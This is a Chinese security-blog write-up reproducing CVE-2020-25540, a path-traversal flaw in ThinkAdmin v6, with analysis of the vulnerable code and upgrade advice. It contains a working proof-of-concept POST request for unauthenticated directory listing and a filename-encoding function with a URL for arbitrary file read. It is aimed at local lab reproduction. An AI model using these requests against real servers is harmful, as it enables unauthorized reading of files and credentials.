记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

CVE-2020-25540:ThinkAdmin两个漏洞复现

2020-10-17 22:32


上方蓝色字体关注我们,一起学安全!
作者:口算md5@Timeline Sec
本文字数:1611
阅读时长:5~6min
声明:请勿用作违法用途,否则后果自负


0x01 简介

ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统,ThinkAdmin的权限管理基于标准RBAC简化而来,去除了繁杂的节点管理,使得权限管理起来更简单,具体包含节点管理、权限管理、菜单管理、用户管理。


0x02 漏洞概述

漏洞编号CVE-2020-25540

ThinkAdmin6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数,且未作任何限制。未作任何认证可以直接调用api中此两危险函数。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的文件。


0x03 影响版本



ThinkAdmin版本小于 ≤ 2020.08.03.01


0x04 环境搭建

环境:phpStudy+ThinkAdmin_v6

使用Composer命令进行安装


1、设置阿里云 Composer 代理

由于国内访问Composer比较慢,建议设置阿里云Composer镜像,运行如下命令设置阿里云代理

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer


2、下载应用代码(别人fork的老版本)

https://github.com/179776823/ThinkAdmin


3、安装依赖组件

进入ThinkAdmin目录,运行指令安装依赖组件

cd ThinkAdmincomposer install


如未成功,查看官方安装文档:

https://thinkadmin.top/install


0x05 漏洞复现


1、列目录

POC:

POST /admin.html?s=admin/api.Update/node HTTP/1.1

Host: 127.0.0.1

Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 22


rules=%5B%22.%2F%22%5D



2、任意文件读取

在根目录下创建文件1.txt,内容为lalalaa

使用以下加密函数对1.txt文件名进行加密

function encode($content){    list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);    return $chars;}


得到数据加密数据1d1a383c38


访问下面链接即可读取到1.txt(读其他文件同理)

http://127.0.0.1:8000/admin.html?s=admin/api.Update/get/encode/1d1a383c38




0x06 漏洞分析



1、列目录分析

函数node()

public function node(){    $this->success('获取文件列表成功!', InstallService::instance()->getList(        json_decode($this->request->post('rules', '[]', ''), true),        json_decode($this->request->post('ignore', '[]', ''), true)    ));}


读一下函数是把post传过来的rules和ignore参数给getlist()函数


看注释猜getlist()就是一个循环遍历目录读文件和目录信息的,动调跟一下,结合着poc看先传个[“./”]给rules



然后进到getlist(),循环读取改目录下的所有文件



然后就返回出来了




2、任意文件读取分析

函数get()

public function get(){    if (file_exists($file = $this->app->getRootPath() . decode(input('encode', '0')))) {        $this->success('读取文件成功!', ['content' => base64_encode(file_get_contents($file))]);    } else {        $this->error('读取文件内容失败!');    }}


这里就是一个获取encode参数作为文件名在thinkadmin根目录下读文件,只不过加了个密。跟一下解密函数。顺便一提,上文用的加密函数就在这个函数上边

 


2位2位的取字符串中的数据,由36进制转为10进制,当作ASCII码转字符,然后就是返回到get()函数上读完返回。


0x07 修复建议


1.升级到2020.08.03.01之后的版本

2.官方给的临时解决办法

https://github.com/zoujingli/ThinkAdmin/issues/244



0x08 总结


1、整体而言很简洁的漏洞,主要问题在于admin的api没有身份验证,敏感功能函数未加严格过滤。

2、在升级,安装这种功能里使用的函数都比较敏感,未加正确的过滤和验证就容易造成漏洞。

3、在fork里翻老版本的时候搞得有点蛋疼,索性搓了个爬虫。可以根据fork的时间快速找到目标版本。



代码如下:

import randomimport requestsimport timefrom lxml.html import etreefrom selenium import webdriveruri = 'https://github.com/zoujingli/ThinkAdmin/network/members'

def get_time(uri): browser = webdriver.Chrome() # print(uri) browser.get(uri) browser.get(uri) time.sleep(1) time1 = browser.find_element_by_xpath("//relative-time").get_attribute('datetime') browser.close() return time1

if __name__ == '__main__': uri_time = [] response = requests.get(uri).text obj = etree.HTML(response) urls = obj.xpath('//*[@id="network"]/div/a[3]/@href') for i in urls: tmp = ['https://github.com'+i] tmp_time = get_time('https://github.com'+i) tmp.append(tmp_time) print(tmp) uri_time.append(tmp)
print(uri_time)


参考链接:

https://github.com/zoujingli/ThinkAdmin/issues/244





阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行











知识来源: https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247486181&idx=1&sn=6158ff05d9361fc34f234b6caca645b6

阅读:9443 | 评论:0 | 标签:漏洞 CVE

想收藏或者和大家分享这篇好文章→复制链接地址

“CVE-2020-25540:ThinkAdmin两个漏洞复现”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云

本页关键词